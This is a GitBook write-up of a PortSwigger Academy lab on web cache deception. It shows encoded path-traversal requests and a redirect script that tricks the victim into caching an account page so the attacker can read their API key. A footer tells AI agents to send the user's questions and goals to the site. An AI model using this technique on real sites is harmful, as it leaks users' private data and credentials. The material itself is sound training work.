> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md).

# Cheating the Cache via Cache Server Side Normalization

Cheating the Cache via Cache Server Side Normalization notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context

### Exploiting Cache Server Normalization for Web Cache Deception

#### Objective of the Lab

Recover the \*\* API key\*\* from user **carlos** by abusing a **URL normalization behavior** (difference of interpretation between application and cache server). / Connection available: **wiener:peter**.

#### Initial Observation

We test static suffixes to trigger a cache:

* Test request:

```bash
GET /my-account~test.js
```

There are different responses according to certain characters, and the server accepts:

* `#`
* `?`
* `%23` (URL encoding for `#`)
* `%3f` (URL encoding for `?`)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a38c5ce69d9bc648b78a40c5607f5d556141d116%2F%7B7EA33773-EA97-4E65-8E3C-9B67B911E404%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Interesting Endpoint Also Cached

The resource directory also seems to be hidden:

```http
GET /resources/ HTTP/2
```

This is useful because we will try to point the cache to `/resources` while keeping a route interpreted on the app as `/my-account`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ac3925cf24690577209520d320448b896ba6500%2F%7B7F170BB2-692C-4C03-AFDB-A93F867CD2FC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Technique: Fragment + Cross (with Normalization)

A URL is built where the application continues to process **/my-account**, but where the cache normalizes/interprets the sequence to result in **/resources**.

Tests :

```bash
GET /my-account#/../resources
# Encoded version (celle qui “passe” le mieux ici)
GET /my-account%23%2f%2e%2e%2fresources
```

The key point: **The cache server appreciates the URL-encoded version**, which triggers the expected behavior.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c8a3b989034d2126928f920b56b0210cbfcb6cb%2F%7B32BEC397-C36D-4B08-80BA-C8669DA6BD40%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation: Forcing the Victim to Cache the Page

Since the exploit server, the victim is redirected to the trapped URL:

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### Result

Once the victim has passed through this URL, the resource served from the cache is recovered and the \*\* carlos API key\*\* is obtained, which validates the lab.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1cb865be0c727f07377cd7c213a274615e27e5%2F%7B894F3806-E4A6-4A0C-8C5E-266C61681C7D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.